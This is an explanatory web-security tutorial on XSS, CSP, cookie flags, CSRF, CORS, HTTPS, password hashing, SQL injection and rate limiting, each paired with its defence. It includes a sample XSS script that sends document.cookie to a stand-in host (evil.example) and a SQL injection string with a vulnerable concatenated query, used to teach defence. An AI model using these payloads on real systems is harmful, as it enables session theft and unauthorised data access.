Most web attacks turn ordinary features against a site. A browser runs any script it finds on a page and sends a site's cookies with every request to it, and a careless server pastes whatever a user typed into its database queries. Here is how the common attacks work, and the defence each one calls for.
Cross-site scripting (XSS)
Cross-site scripting happens when an attacker gets their own JavaScript to run on your site, in another user's browser. The usual way in is user input that the page shows back without escaping it: a comment, a display name, a search term echoed in the results.
Say a comment box saves whatever it is given, and the page renders comments as raw HTML. An attacker posts this:
<script>
fetch("https://evil.example/c?"
+ document.cookie);
</script>Every visitor who opens that page now runs the script. It runs as part of your site, so it can read whatever the page can: the DOM, form fields and any cookie JavaScript is allowed to see. This one sends the visitor's session cookie to the attacker, who can then use it to act as that visitor.
XSS comes in three common forms. Stored XSS is saved in your database, as above. Reflected XSS bounces back from a URL parameter, such as a search page that prints the query. DOM-based XSS happens entirely in the browser, when client-side code writes untrusted data into the page.
The main fix is output encoding: treat user data as text, never as markup. Frameworks such as React escape values by default, so XSS tends to creep back in through the escape hatches: dangerouslySetInnerHTML, innerHTML, v-html, or a template's 'raw' filter.
Content Security Policy
Content Security Policy (CSP) is a second line of defence. It is a response header that tells the browser which scripts it may run:
Content-Security-Policy: script-src 'self'With this policy the browser runs only scripts loaded from your own origin. Inline <script> blocks and scripts from other domains are refused, so the injected script above would never run, even if the escaping failed. It limits the damage from an escaping bug, so you still need the escaping. A strict policy takes some work, because inline scripts and inline event handlers have to move into files or carry a nonce.
Cookie flags
A cookie set with the HttpOnly attribute is still sent with every request to its site, but JavaScript can't read it: document.cookie leaves it out. That puts a session cookie out of reach of an injected script, which is why session cookies should always have it.
Set-Cookie: sid=abc123; HttpOnly; Secure; SameSite=LaxTwo other attributes usually travel with it:
Securesends the cookie only over HTTPS, so it never crosses the network in plain text.SameSitedecides whether the cookie goes along with requests that start on another site.Laxholds it back from most of them, apart from following a link;Strictholds it back from all of them.
HttpOnly has limits. The cookie is still stored and sent unencrypted, and an injected script can still send requests from the victim's page with the cookie attached. The flag only stops the script reading the cookie and carrying it off to use elsewhere. The cookies video covers how cookies work in the first place.
Cross-site request forgery (CSRF)
CSRF tricks a signed-in user's browser into sending a request they never meant to send. It works because the browser attaches a site's cookies to requests for that site, whichever page started them.
Here is how it plays out:
- You sign in to your bank, and the bank sets a session cookie.
- In another tab, you open a page an attacker controls.
- That page holds a hidden form that posts to
bank.example/transfer, and submits itself. - Your browser sends the request with your bank cookie, and the bank sees a valid session.
The attacker never sees your cookie or the bank's response, and doesn't need to: the request alone moves the money. That is the difference from XSS. XSS runs the attacker's code inside your site; CSRF makes your browser send a request to your site from outside it.
The defences:
SameSite=LaxorStrictsession cookies, so the forged request arrives without a session.- A CSRF token: a random value the server puts in its own forms and checks on every request that changes something. A page on another site can't read it, so it can't send it.
- Never change anything on a
GETrequest, since links and images can trigger those.
CORS and the same-origin policy
Browsers apply the same-origin policy: a script from one origin (the scheme, host and port together) can't read responses from another. Cross-Origin Resource Sharing (CORS) is how a server relaxes that rule on purpose. When a page on app.example calls api.example, the API answers with a header naming the origins allowed to read its responses:
Access-Control-Allow-Origin: https://app.exampleFor anything beyond a simple request, such as a PUT or a POST with a JSON body, the browser first sends a 'preflight' OPTIONS request to ask whether the real one is allowed.
Two points are often misunderstood. The browser enforces CORS, not the server, so it does nothing to stop curl or a script on another server from calling your API: it isn't authentication. And it governs whether a page can read the response, so it isn't a CSRF defence on its own: a plain form post still reaches the server. The CORS video goes through the headers in more detail.
HTTPS
HTTPS is HTTP sent over TLS. It encrypts the traffic between the browser and the server, so anyone on the same café Wi-Fi, or anywhere along the route, sees scrambled bytes rather than your passwords and cookies. It also checks the server's identity with a certificate, and detects anything changed on the way.
HTTPS protects data in transit and nothing else. A site served over HTTPS can still have XSS, SQL injection or a table of plain-text passwords: the padlock means the connection is private, and says nothing about the code behind it. Pair it with the Strict-Transport-Security header, which tells the browser to use HTTPS for your site every time, even when someone types a plain http:// address.
Storing passwords
Never store a password in a form that can be turned back into the password. The right tool is a hash: a one-way function that turns the password into a fixed-length value. At sign-in, you hash what the user typed and compare it with the stored hash.
Three things are often confused with it:
- Encoding, such as Base64, is a reversible change of format with no secret at all. Anyone can decode it in a second.
- Encryption is reversible by design: whoever holds the key gets every password back. If the key leaks along with the database, so do the passwords.
- A fast hash such as SHA-256 is one-way, but too quick. An attacker with a graphics card can try billions of guesses a second.
Use an algorithm built for passwords, which is deliberately slow and salted: Argon2id, scrypt or bcrypt. The salt is a random value stored with each hash, so two users with the same password get different hashes, and precomputed lookup tables are useless. In Python, with the bcrypt package:
import bcrypt
hashed = bcrypt.hashpw(b"hunter2", bcrypt.gensalt())
print(bcrypt.checkpw(b"hunter2", hashed)) # TrueSQL injection
SQL injection happens when user input is pasted into a SQL string, so the database reads part of the input as SQL. Take a lookup built like this:
query = ("SELECT * FROM users WHERE email = '"
+ email + "'")An email of ' OR '1'='1 turns it into a query that matches every row in the table.
The fix is a parameterised query, also called a prepared statement. The SQL and the values travel separately, and the database never treats the values as code. With a driver such as psycopg:
cur.execute(
"SELECT * FROM users WHERE email = %s",
(email,),
)Escaping input by hand is the tempting alternative, and it fails: every database has its own quoting rules, and one missed case is enough. Validation in the front end doesn't help either, because an attacker can skip the browser and send the request directly. Validate on the server too, but rely on parameters for safety. ORMs parameterise for you, until you build raw SQL strings inside them.
Rate limiting
Rate limiting caps how many requests a client can make in a time window, such as five login attempts a minute for each account. Past the limit, the server answers 429 Too Many Requests.
It is aimed at abuse: password guessing and credential stuffing (trying passwords leaked from other sites) against a login form, scraping, spam sign-ups and cheap floods of traffic. For a single user it can only ever slow things down. Put a general limit at the edge, in a reverse proxy or a service such as Cloudflare, and tighter ones in the app for sensitive endpoints such as login and password reset.
Common mistakes
- Treating HTTPS as 'secure', when it only protects the connection.
- Checking input only in the browser, when the server has to check it again.
- Storing passwords encrypted, or with a fast hash.
- Expecting CORS to keep other servers or scripts out of your API.
- Mixing up XSS and CSRF: one runs the attacker's script inside your site, the other forges a request to it from outside.
Key takeaways
- XSS runs an attacker's script on your site: escape output, and add a CSP.
HttpOnly,SecureandSameSitelimit what a script or a forged request can do with a cookie.- CORS is a browser rule about who can read responses, not a way to keep anyone out.
- Hash passwords with a slow, salted algorithm, and send every query with parameters.
- HTTPS protects data in transit; rate limiting protects endpoints from being hammered.